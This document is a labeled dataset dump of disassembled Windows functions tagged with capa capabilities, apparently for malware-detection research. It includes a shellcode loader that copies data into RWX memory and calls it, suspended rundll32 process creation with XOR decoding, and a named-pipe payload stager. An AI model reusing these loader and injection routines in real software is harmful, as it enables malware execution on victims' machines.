joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbx
sub rsp, 0x220
mov ebx, 3
lea rcx, [rsp + 0x20]
mov eax, ebx
lea rdx, [0x1400155e0]
nop dword [rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x140001020
movups xmm0, xmmword [rdx]
mov rax, qword [rdx + 0x70]
mov r8d, 0x1000
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmmword [rcx + 0x60], xmm0
mov qword [rcx + 0x70], rax
mov eax, dword [rdx + 0x78]
mov dword [rcx + 0x78], eax
movzx eax, word [rdx + 0x7c]
mov word [rcx + 0x7c], ax
movzx eax, byte [rdx + 0x7e]
mov edx, 0x1ff
mov byte [rcx + 0x7e], al
xor ecx, ecx
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
lea rcx, [rsp + 0x20]
mov rdx, rax
nop dword [rax + rax]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rbx, 1
jne 0x1400010f0
movups xmm0, xmmword [rcx]
mov rax, qword [rcx + 0x70]
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmmword [rdx + 0x60], xmm0
mov qword [rdx + 0x70], rax
mov eax, dword [rcx + 0x78]
mov dword [rdx + 0x78], eax
movzx eax, word [rcx + 0x7c]
mov word [rdx + 0x7c], ax
movzx eax, byte [rcx + 0x7e]
mov byte [rdx + 0x7e], al
call r8
xor eax, eax
add rsp, 0x220
pop rbx
ret

Function at 0x140003d14
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140003b40
Function at 0x4017ce
Capabilities:
Create process on windows
Create process suspended
Query environment variable

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x900
mov rsi, rcx
mov ebp, edx
mov rbx, r8
test r8, r8
je 0x4016ba
cmp byte [r8], 0
jne 0x4016c8
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
jmp 0x40178c
lea r12, [rsp + 0x98]
xor eax, eax
lea r13, [rsp + 0x80]
mov ecx, 0x1a
mov rdi, r12
lea r9, [rsp + 0x100]
lea r14, [rsp + 0x500]
mov r8d, 0x400
rep stosd dword [rdi], eax
mov ecx, 6
mov rdi, r13
mov rdx, r9
rep stosd dword [rdi], eax
mov qword [rsp + 0x58], r9
lea rcx, str.windir
mov dword [rsp + 0x98], 0x68
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov r9, qword [rsp + 0x58]
mov edx, 0x400
mov rcx, r14
lea r8, str._sSystem32_s
mov qword [rsp + 0x20], rbx
call qword [sym.imp.msvcrt.dll__snprintf]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x48], r13
mov rdx, r14
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4017bc
mov rcx, qword [rsp + 0x80]
test rcx, rcx
je 0x4017bc
movups xmm0, xmmword [rsp + 0x80]
lea rdx, [rsp + 0x60]
movsxd r9, ebp
mov r8, rsi
mov rax, qword [rsp + 0x90]
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rax
call fcn.004015f1
nop
add rsp, 0x900
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
sub rsp, 0x28
xor eax, eax
mov r9d, edx
cmp r9d, eax
jle 0x4017ee
mov rdx, rax
and edx, 3
mov dl, byte [r8 + rdx]
xor byte [rcx + rax], dl
inc rax
jmp 0x4017d7
call fcn.00401560
lea r8, str.rundll32.exe
mov edx, r9d
add rsp, 0x28
jmp 0x401696

Function at 0x401810
Capabilities:
Connect pipe
Create pipe
Write file on windows
Write pipe

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x58
mov r9d, 1
xor r8d, r8d
mov dword [rsp + 0x4c], 0
mov rsi, rcx
mov ebx, edx
lea rcx, [0x00453980]
mov qword [rsp + 0x38], 0
mov edx, 2
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov r12, rax
lea rax, [rax - 1]
cmp rax, 0xfffffffffffffffd
ja 0x4018bc
xor edx, edx
mov rcx, r12
lea rdi, [rsp + 0x4c]
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
je 0x4018bc
test ebx, ebx
jle 0x4018a6
mov r9, rdi
mov r8d, ebx
mov rdx, rsi
mov rcx, r12
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4018b1
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4018bc
mov edx, dword [rsp + 0x4c]
add rsi, rdx
sub ebx, edx
jmp 0x401883
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop r12
ret
Function at 0x4018e4
Capabilities:
Read file on windows

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x58
xor r9d, r9d
mov r8d, 3
mov dword [rsp + 0x4c], 0
mov rsi, rcx
mov ebx, edx
lea rcx, [0x00453980]
mov qword [rsp + 0x30], 0
mov edx, 0x80000000
lea rdi, [rsp + 0x4c]
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r12, rax
xor eax, eax
cmp r12, 0xffffffffffffffff
je 0x40197c
test ebx, ebx
jle 0x401961
mov r9, rdi
mov r8d, ebx
mov rdx, rsi
mov rcx, r12
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x401971
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x40197c
mov edx, dword [rsp + 0x4c]
add rsi, rdx
sub ebx, edx
jmp 0x40193e
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop r12
ret

Function at 0x4019d8
Capabilities:
Create thread

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x004504f0]
movsxd rcx, dword [rbx + 4]
call sub.msvcrt.dll_malloc
mov rsi, qword [sym.imp.KERNEL32.dll_Sleep]
mov r12, rax
mov ecx, 0x400
call rsi
mov edx, dword [rbx + 4]
mov rcx, r12
call fcn.004018e4
test eax, eax
je 0x4019a8
mov edx, dword [rbx + 4]
lea r8, [rbx + 8]
mov rcx, r12
call fcn.004017ce
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
sub rsp, 0x68
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x26aa
xor edx, edx
mov r9d, 0x5c
div ecx
mov dword [rsp + 0x50], 0x5c
mov dword [rsp + 0x48], 0x65
mov dword [rsp + 0x40], 0x70
mov dword [rsp + 0x38], 0x69
mov dword [rsp + 0x30], 0x70
mov dword [rsp + 0x28], 0x5c
mov dword [rsp + 0x20], 0x2e
mov r8d, 0x5c
lea rcx, [0x00453980]
mov dword [rsp + 0x58], edx
lea rdx, str._c_c_c_c_c_c_c_c_cMSSE__d_server
call sub.msvcrt.dll_sprintf
xor ecx, ecx
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x28], 0
lea r8, [0x004018c6]
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
add rsp, 0x68
jmp 0x401986

Function at 0x401fd0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.00403150
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.00403150
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]
Function at 0x402040
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x00453614]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x4021e8
mov rax, qword [0x00453618]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x40208c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x402117
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x402070
mov rcx, r12
call fcn.00402da0
mov rbp, rax
test rax, rax
je 0x402222
mov rax, qword [0x00453618]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call fcn.00402ed0
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00453618]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x402231
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x402110
sub eax, 4
and eax, 0xfffffffb
jne 0x4021a0
add dword [0x00453614], 1
cmp ebx, 8
jae 0x402148
test bl, 4
jne 0x4021f0
test ebx, ebx
je 0x402139
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x402210
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x402139
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x40217a
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
add rdi, qword [0x00453618]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x402110
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.00401fd0
nop dword [rax]
xor edi, edi
jmp 0x402097
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x402139
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x402139
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.00401fd0
mov rax, qword [0x00453618]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call fcn.00401fd0
nop
nop dword [rax]
Function at 0x402a10
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00453900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004538e0]
test rbx, rbx
je 0x402a64
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x402a5b
test r12, r12
je 0x402a5b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402a40
lea rcx, [0x00453900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x402da0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x004503f0]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x402e19
mov rcx, r10
call fcn.00402c70
test eax, eax
je 0x402e19
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x402e16
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x402e0d
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x402e19
add r8, 0x28
cmp r8, r9
jne 0x402df8
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret
Function at 0x1800045d0
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x40]
sub rsp, 0x140
mov rax, qword [0x180d7e0c0]
xor rax, rsp
mov qword [rbp + 0x30], rax
mov ebx, edx
xor esi, esi
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], rax
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], rax
mov dword [rbp - 0x40], 0x68
mov dword [rbp - 4], 1
mov word [rbp], si
mov edi, esi
mov eax, 0x10
test edx, edx
cmove edi, eax
lea rax, [0x18005b720]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 0xd
mov rdx, rcx
cmp qword [rcx + 0x18], 7
jbe 0x180004667
mov rdx, qword [rcx]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x58], rax
movups xmm0, xmmword [rsp + 0x50]
movups xmmword [rsp + 0x78], xmm0
movabs rax, 0xc000000000000000
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x50], 1
lea rax, [rsp + 0x70]
mov qword [rsp + 0x58], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
movaps xmm1, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm1
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x60]
call fcn.18000c3e0
lea rdx, [rbp - 0x60]
cmp qword [rbp - 0x48], 7
cmova rdx, qword [rbp - 0x60]
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x180004712
xor bl, bl
jmp 0x18000474b
test ebx, ebx
je 0x180004722
mov edx, ebx
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x50], 1
lea rcx, [rsp + 0x50]
call fcn.18000ac70
mov bl, 1
mov rdx, qword [rbp - 0x48]
cmp rdx, 7
jbe 0x180004787
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004782
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800047af
call fcn.180017b70
movzx eax, bl
mov rcx, qword [rbp + 0x30]
xor rcx, rsp
call fcn.180017b50
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.18001f608
int3
Function at 0x1800262f0
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rax, qword [0x180d84050]
mov ebx, r9d
mov rdi, r8
mov esi, edx
mov rbp, rcx
cmp rax, 0xffffffffffffffff
je 0x180026355
test rax, rax
jne 0x180026343
lea r9, [0x1800555c0]
lea r8, [0x1800555b8]
lea rdx, [0x1800555c0]
lea ecx, [rax + 0xa]
call fcn.180025fc4
test rax, rax
je 0x180026355
mov r9d, ebx
mov r8, rdi
mov edx, esi
mov rcx, rbp
call fcn.180031350
jmp 0x18002636f
xor edx, edx
mov rcx, rbp
call fcn.1800265e0
mov ecx, eax
mov r9d, ebx
mov r8, rdi
mov edx, esi
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x180026f10
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.180018680
sub rsp, rax
mov rax, qword [0x180d7e0c0]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.18002268c
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x180026f5f
mov rax, rbp
jmp 0x18002706b
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x180000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0xd80430]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.180027f18
mov r13, rax
lea rax, [0x180000000]
mov rcx, qword [rax + rbx*8 + 0xd80430]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x180027067
mov dword [rsp + 0x30], edi
lea r9, [rsp + 0x30]
mov rcx, qword [rcx + r12*8 + 0x28]
lea rdx, [rsp + 0x40]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180027067
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.180027f18
test rax, rax
js 0x180027067
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x180027067
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x180027059
lea r8, [0x180000000]
cmp rcx, rdx
jae 0x180027059
cmp byte [rcx], 0xd
jne 0x18002703f
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x18002704e
cmp byte [rcx + 1], 0xa
jne 0x18002704e
inc rcx
jmp 0x18002704e
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0xd7e4d0]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x180027021
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x18002706b
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.180017b50
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x180027200
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
xor edi, edi
mov rax, r15
lea rcx, [0x180d80430]
and eax, 0x3f
mov r12, r15
sar r12, 6
mov rsi, rdx
lea r9d, [rdi + 0xa]
mov r14, r15
lea rbp, [rax + rax*8]
mov rax, qword [rcx + r12*8]
mov r10, qword [rax + rbp*8 + 0x28]
test r8, r8
je 0x180027256
cmp word [rdx], r9w
jne 0x180027256
or byte [rax + rbp*8 + 0x38], 4
jmp 0x18002725b
and byte [rax + rbp*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rax, rsi
mov rbx, rsi
cmp rsi, r8
jae 0x1800273da
mov r11d, 0xd
lea r13d, [r11 - 0xb]
movzx edx, word [rax]
cmp dx, 0x1a
je 0x1800273a5
lea rcx, [rax + 2]
cmp dx, r11w
jne 0x1800272a3
cmp rcx, r8
jae 0x1800272c3
cmp word [rcx], r9w
jne 0x1800272a3
add rax, 4
mov edx, r9d
jmp 0x1800272a6
mov rax, rcx
mov word [rbx], dx
mov r9, r13
mov rcx, rbx
mov r9d, 0xa
lea rbx, [rbx + r13]
cmp rax, r8
jb 0x180027278
jmp 0x1800273da
lea r9, [rsp + 0x80]
mov word [rsp + 0x70], di
mov r8d, r13d
mov dword [rsp + 0x80], edi
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x20], rdi
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x18002739e
cmp dword [rsp + 0x80], edi
je 0x18002739e
lea r9, [0x180d80430]
mov rax, qword [r9 + r12*8]
test byte [rax + rbp*8 + 0x38], 0x48
mov ebp, 0xa
je 0x180027378
movzx eax, word [rsp + 0x70]
cmp ax, bp
jne 0x18002732b
mov word [rbx], bp
jmp 0x1800273d7
mov word [rsp + 0x78], ax
mov rdx, r14
mov rax, r14
sar rdx, 6
and eax, 0x3f
mov word [rbx], 0xd
lea r8, [rax + rax*8]
mov rax, qword [r9 + rdx*8]
lea rcx, [rax + r8*8]
mov al, byte [rsp + rdi + 0x78]
mov byte [rcx + rdi + 0x3a], al
inc rdi
cmp rdi, r13
jl 0x180027346
mov rax, r14
sar rax, 6
and r14d, 0x3f
mov rax, qword [r9 + rax*8]
lea rcx, [r14 + r14*8]
mov byte [rax + rcx*8 + 0x3c], bpl
jmp 0x1800273d7
cmp word [rsp + 0x70], bp
jne 0x180027384
cmp rbx, rsi
je 0x180027323
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.180027f20
cmp word [rsp + 0x70], bp
je 0x1800273da
mov word [rbx], 0xd
jmp 0x1800273d7
mov rcx, r15
lea r9, [0x180d80430]
and ecx, 0x3f
mov rax, r15
sar rax, 6
lea r8, [rcx + rcx*8]
mov rcx, qword [r9 + rax*8]
mov al, byte [rcx + r8*8 + 0x38]
test al, 0x40
jne 0x1800273d4
or al, r13b
mov byte [rcx + r8*8 + 0x38], al
jmp 0x1800273da
mov word [rbx], dx
add rbx, r13
sub rbx, rsi
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140006aa0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
mov rdi, rcx
xor esi, esi
mov rcx, qword [rcx]
lea rbx, [rdi + 0x50]
test rcx, rcx
je 0x140006ad1
xor edx, edx
mov r8d, 0x8000
call qword [rbx]
mov qword [rdi + 8], rsi
mov qword [rdi], rsi
cmp qword [rdi + 0x80], rsi
je 0x140006b4c
mov rax, qword [0x140227ef0]
mov qword [rsp + 0x38], rax
test al, al
jne 0x140006b30
mov dword [rsp + 0x30], esi
mov eax, dword [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
movsxd rax, dword [rsp + 0x30]
mov edx, dword [rsp + 0x30]
sub edx, 0x50
xor edx, dword [rsp + rax*4 + 0x3c]
movsxd rax, dword [rsp + 0x30]
mov dword [rsp + rax*4 + 0x3c], edx
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
cmp eax, 1
jb 0x140006b00
lea rbx, [rdi + 0x50]
mov eax, dword [rsp + 0x3c]
lea rdx, fcn.140008a50
mov rcx, qword [rdi + 0x80]
call qword [rdx + rax*8]
mov qword [rdi + 0x80], rsi
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
mov rax, qword [rbx]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
jmp rax
Function at 0x1400071b0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov rax, qword [r9 + 0x30]
mov r15, rcx
mov rcx, r9
mov rbx, r9
mov r14, r8
mov rbp, rdx
call rax
cmp eax, 0x38
jb 0x140007331
xor r12d, r12d
lea r13, reloc.WS2_32.dll_accept
nop dword [rax]
mov rax, qword [rbx + 0x30]
mov rcx, rbx
mov rsi, qword [r15 + 0x20]
call rax
mov r8, qword [rbx + 0x38]
xor edx, edx
mov rcx, rbx
mov edi, eax
call r8
mov edx, edi
mov rcx, rax
call rsi
mov edi, eax
cmp eax, 0xffffffff
je 0x140007348
mov rdx, qword [rbx + 0x30]
mov rcx, rbx
call rdx
cmp eax, edi
jb 0x140007331
mov rdx, qword [rbx + 0x30]
mov rcx, rbx
call rdx
cmp eax, edi
jb 0x14000731f
test rbp, rbp
je 0x14000731f
mov rax, qword [0x140227f68]
mov qword [rsp + 0x78], rax
test al, al
jne 0x14000729c
mov dword [rsp + 0x60], r12d
mov eax, dword [rsp + 0x60]
nop dword [rax]
nop word [rax + rax]
movsxd rax, dword [rsp + 0x60]
mov edx, dword [rsp + 0x60]
add edx, 0x7b
xor edx, dword [rsp + rax*4 + 0x7c]
movsxd rax, dword [rsp + 0x60]
mov dword [rsp + rax*4 + 0x7c], edx
mov eax, dword [rsp + 0x60]
inc eax
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x60]
cmp eax, 1
jb 0x140007270
mov eax, dword [rsp + 0x7c]
xor edx, edx
mov r8d, gethostname
mov rcx, rbp
call qword [r13 + rax*8]
mov rax, qword [rbx + 0x30]
mov rcx, rbx
call rax
cmp eax, 0x38
jb 0x14000731f
mov r8d, gethostname
mov rdx, rbp
mov rcx, rbx
call qword [rbx + 0x20]
mov esi, dword [rbp + 0x28]
test esi, esi
je 0x14000730e
cmp dword [rbp + 0x2c], r12d
jne 0x14000731f
mov rax, qword [rbx + 0x30]
mov rcx, rbx
call rax
cmp eax, esi
jb 0x140007331
test r14, r14
je 0x14000731f
mov rax, qword [rbx + 0x38]
xor edx, edx
mov rdi, qword [r14 + 0x28]
mov rcx, rbx
call rax
mov rdx, rax
